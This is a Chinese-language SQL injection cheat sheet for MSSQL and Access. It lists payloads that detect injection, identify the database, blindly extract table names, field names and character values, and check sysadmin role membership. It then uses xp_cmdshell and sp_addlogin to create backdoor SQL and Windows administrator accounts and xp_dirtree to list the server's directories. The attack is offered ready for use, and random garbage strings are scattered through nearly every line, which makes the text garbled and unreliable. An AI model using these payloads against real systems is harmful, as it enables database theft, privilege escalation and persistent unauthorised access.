1.判断是否有注入;and 1=1 ;and 1=2 . CLiv
2.初步判断是否是mssql ;and user>0 4kT| /bp
+~ :1H.
3.注入参数是字符'and [查询条件] and ''=' =YB3^Z
BGodrb1
4.搜索时没过滤参数的'and [查询条件] and '%25'=' wP6~HiC
+0.$w
5.判断数据库系统 bh6Mh<+
g/mVd;#o
;and (select count(*) from sysobjects)>0 mssql Up*p*(d3
hrNri$
;and (select count(*) from msysobjects)>0 access OlRBvfoh8
k^p|H:
MH 'S,^J
tKo^A:M
6.猜数据库 ;and (select Count(*) from [数据库名])>0 un6grvxr
C"<l}
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 }7g\1l\
P@lExF*D1:
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 0LrTYrlj
d&(GIH E&d
9.(1)猜字段的ascii值(access) +yVz)
X
(JocnM|U
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 x{Gb4=?l
TRcY!
(2)猜字段的ascii值(mssql) C=h$8Q
Dsm_T1X
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 :v* _Ay
Ol~sCr
10.测试权限结构(mssql) s IY`H^
)|XmF4R
Ua,Lg.z
k5$_Q#
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- p;"pTGoWi
E&#AX:
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- R4_4 FEo
w-AF5%gX
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- iPa!pg4m
8 %Lq~lk
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- Gz+Bk5#{
d@b"tb}R
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- \Bw9%P~ G
f%an<>j^w
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- G=jdb@V/?
y)"aQJ>
;and 1=(select IS_MEMBER('db_owner'));-- Qa5<go{
bguhx3s
B$ +YK%I
Nw+0b4{
11.添加mssql和系统的帐户 I$n 0aR6
zob^z@2
;exec master.dbo.sp_addlogin username;-- 5:hajXd
;exec master.dbo.sp_password null,username,password;-- aM9^V MOb
9FP6Z[4
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ' 6Ybf
Ss@\'K3e
;exec master.dbo.xp_cmdshell 'net user username password
PQa{5"
X<x"\Yk
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- @r%[e1.
;? '`XB!
;exec master.dbo.xp_cmdshell 'net user username password /add';-- %q;3bfq@N
R."<he ;
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- [kt!\-
9Y&n$svB
z~L4BY @z
M+gQN}BAr
12.(1)遍历目录 \'q-Xr'}M
up=4B
;create table dirs(paths varchar(100), id int) Q|@!zMy
%+L:Gm+^g#
;insert dirs exec master.dbo.xp_dirtree 'c:\' Gk;==~
WLP A51R
;and (select top 1 paths from dirs)>0 Qi&!IG
HN7(-ml=B
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 6m_Y%&
6|V713\
<?yAIhgN*
eZ[CqUJ&